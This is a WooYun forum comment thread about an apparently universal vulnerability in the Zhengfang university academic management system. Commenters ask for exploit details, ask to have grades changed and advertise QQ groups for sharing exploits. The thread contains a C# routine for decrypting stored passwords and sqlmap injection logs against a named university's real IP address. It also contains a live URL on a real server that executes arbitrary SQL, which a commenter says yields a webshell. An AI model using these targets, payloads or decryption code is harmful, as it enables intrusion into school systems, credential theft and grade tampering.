WooYun.org

我是来看正方的~

前排 带我装逼 带我飞 CCAV 给个特写

第一次那么前排

好腻害

太天真了，居然加了“通用型”三个字

前排会火~~

这么像我前两天发的那个洞。。。坐等公开

我是来看正方的~

哥们现在正方的加密是什么方式？求交流，Q 7520024

帮我改成绩

不知道我们山村里那个小学有没有这个系统，要是有的话，帮我改成绩可好？

sin你好，cos呢？

不知道读大学的时候,方正还在用没有

新版改成md5了。。

@reality0ne 那不方便我们了吗？哈哈哈

这个，求细节

通杀各版本肯定不信!新版加密使用oracle自带加密函数，你能破才叫叼；后台倒是可以上传ashx马

@error 确定吗？URL 里的XH也是加密了，是不是MD5加密

@楼上 等细节公开再扯

2012的新版本（2013年10月份最新版），基本全国都使用一个版本的。通杀是有可能的，如果他能逆出那个加密的话。

貌似要忽略

@scanf md5为什么方便，原来的可以直接解密的不是更方便，MD5的话有个万一就悲剧了

@wefgod 同意。原来的方法是100%成功率的话，变md5就是70%了。

哦，这样啊,方正我没有解密脚本，所以觉得的MD5好一些..

@s3xy 是啊

兄弟 一个学校的 你也太高调了 我都知道你是谁了

洞主小心啊！！！！楼上认出你了@tkey @sin

@1angxi 求细节， 是那个照片遍历接口吗？　求交流+Q:1535068423

求指导，谢谢

求私信详情，WB感谢QAQ

看描述好像我去年提交裤带的这个：http://loudong.360.cn/vul/info/id/1777

@My5t3ry 求详细。我要试试我们学校、求带各种，rmb感谢啊@sin

欢迎大家加入通杀教务系统漏洞QQ 群： 310068074

膜拜大牛~

public static string jiemi(string PlainStr, string key){ string NewStr =""; int Pos = 1; if ((Strings.Len(PlainStr) % 2) == 0) { string Side1 = Strings.StrReverse(Strings.Left(PlainStr, (int) Math.Round((double) (((double) Strings.Len(PlainStr)) / 2.0)))); string Side2 = Strings.StrReverse(Strings.Right(PlainStr, (int) Math.Round((double) (((double) Strings.Len(PlainStr)) / 2.0)))); PlainStr = Side1 + Side2; } int _Vb_t_i4_0 = Strings.Len(PlainStr); for (int i = 1; i <= _Vb_t_i4_0; i++) { string strChar = Strings.Mid(PlainStr, i, 1); string KeyChar = Strings.Mid(key, Pos, 1); if (((((Strings.Asc(strChar) ^ Strings.Asc(KeyChar)) < 0x20) | ((Strings.Asc(strChar) ^ Strings.Asc(KeyChar)) > 0x7e)) | (Strings.Asc(strChar) < 0)) | (Strings.Asc(strChar) > 0xff)) { NewStr = NewStr + strChar; } else { NewStr = NewStr + StringType.FromChar(Strings.Chr(Strings.Asc(strChar) ^ Strings.Asc(KeyChar))); } if (Pos == Strings.Len(key)) { Pos = 0; } Pos++; } return NewStr;}解密是这个吗

@tkey 兄弟，你不要吓我。 哎，别人家的孩纸9月7日，正方sql注入提交到360收获2000软妹币，有点受伤呐。

oracle time-based-blind 略忧伤阿

这个比较叼。

@sin 求交流，我也提交了个。

@ki11y0u 其实各个版本均有各种各样的洞，不过以前的密码加密了，碰撞key稍微麻烦点。现在md5密码，就爽歪歪呀。

华农：202.116.160.17/xsxjxtdl.aspxsqlmap 没能redirect ：（（（（（（（（

@bitemebitch 你说说你为啥要找华农

@夏殇 莫非是师兄....?

@夏殇 夏老大，你们学校也是正方吗？

@bitemebitch 我去，QQ多少，私聊

@ki11y0u 正方多的是了

@夏殇 →_→ 在你的个人主页留了评论

@夏殇 @bitemebitch 感觉华农很无辜啊。总是被受伤，O(∩_∩)O

@sin 我感觉你是广东的

@夏殇 貌似有次追踪到了一个人的ip，不知是不是你。挂流量矿石，很没品额。都没拿0day打你们学校教务系统和一卡通系统。人家建设网站都挺不容易的，不要乱搞。

@sin 我去，怎么会是我，我从来不搞破坏的...流量矿石是啥我都不知道，怎么回事

哦，那就好。估计是另外的人吧。

@夏殇 哦，那就好。估计是另外的人吧。

@sin 我们学校教务被搞过？怎么没知道这回事，我就知道前段时间貌似有个挂博彩还是什么的上去

@夏殇 211端口可以执行sql命令，，，然后就没有然后了。以前的洞。

实验未果 @sin 是因为尝试次数不够还是？的确是2012年的正方[17:16:19] [INFO] parsing HTTP request from 'c:\1.txt'[17:16:19] [INFO] testing connection to the target url[17:16:20] [INFO] testing if the url is stable, wait a few seconds[17:16:21] [INFO] url is stable[17:16:21] [WARNING] reflective value(s) found and filtering out[17:16:21] [WARNING] heuristic test shows that POST parameter 'tbSFZH' might not be injectable[17:16:21] [INFO] testing for SQL injection on POST parameter 'tbSFZH'[17:16:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[17:16:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[17:16:25] [INFO] testing 'Oracle AND time-based blind'[17:16:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'[17:16:43] [WARNING] POST parameter 'tbSFZH' is not injectable[17:16:43] [CRITICAL] all parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')

providing either a valid va[17:26:50] [WARNING] HTTP er403 (Forbidden) - 57 times

@sin 不懂*。*

wbwj目录貌似被限制脚本执行怎么破。。

@3rr0r @reot 貌似正方已经出了补丁，上面的注入，和上传webshell估计没什么用了。

@sin [21:54:24] [WARNING] POST parameter 'tbSFZH' is not injectable[21:54:24] [CRITICAL] all tested parameters appear to be not injectable. Try toincrease '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')测试无果。

密码早md5.。这是多老的版本啊。。那个任意文件上传也早没了。。这个通用是有多老版本。

@基佬库克 目测已经很多都升级了，没有这个注入了，这个注入有点低级……现在的应该都不会有了

@基佬库克 想得美，还想任意文件上传。 软件名称：教务管理系统（过渡版）发布日期：2013年04月28日, 16:59:34 这个版本下估计有戏。但你要会玩。从各处的数据库解密和教师密码解密的key看，还是比较新的版本。@wefgod

function getMD5(vin_string IN VARCHAR2) RETURN VARCHAR2 IS temp varchar2(40);BEGIN temp := dbms_obfuscation_toolkit.MD5(input => utl_raw.cast_to_raw(vin_string)); RETURN '{MD5}' || utl_raw.cast_to_varchar2(utl_encode.base64_encode(temp));END getMD5;表名看这里http://61.153.27.181:93/db.asp?action=get&sql=select%20table_name%20from%20user_tables;

@路人N 可以执行sql，30秒可getshell，然后就没有然后了，这个很危险的。下次不要随便发出来额。

@sin 求教

@sin 这个之前提交乌云了，没审核通过。。

@路人N 没事慢慢来，总是会被认可的。

@sin 你提交的新中新一卡通的 能提前告知下么

@你又不是她 很早前就提交了，你可以要求360公开额。

@路人N 求详细，，正方？

@楼上所有想捅正方菊花的孩子们.正方因为在之前收到很多漏洞递交，对2010版本进行了大升级为2012，目前以普及所有正方用户,那么,2012版本有什么特别呢?① 部门权限的C/S客户端的传输端口进行了MD5加密.且仅对内网开放② 源码根目录添加2个文件夹,分别为"style"app_config"一个用于过滤你的SQL&&;另外一个是用于APP接口.③ 老用户登录必须强制修改密码为数字+英文来避免弱口令并且使用MD5加密。④ 数据库IP并且仅对内网IP开放.⑤ 根目录下删除了多余无大用处的页面.且每个页面都有验证权限,除了xsxjxtdl.aspx。 ⑥ 正方自带的"安全巡检"升级,并且存在文件异动检测 ⑦ 太多了,我就不一一说了,另外给正方递交漏洞的那些人能不能保守点,人家正方在WOOYUN连厂商都不注册个,一个劲的递交啥? 待你需要曰时,或者需要源码以及各种的,你才知道可恶! 不过需要材料研究的可以加群:310068074 不客气,请叫我红领巾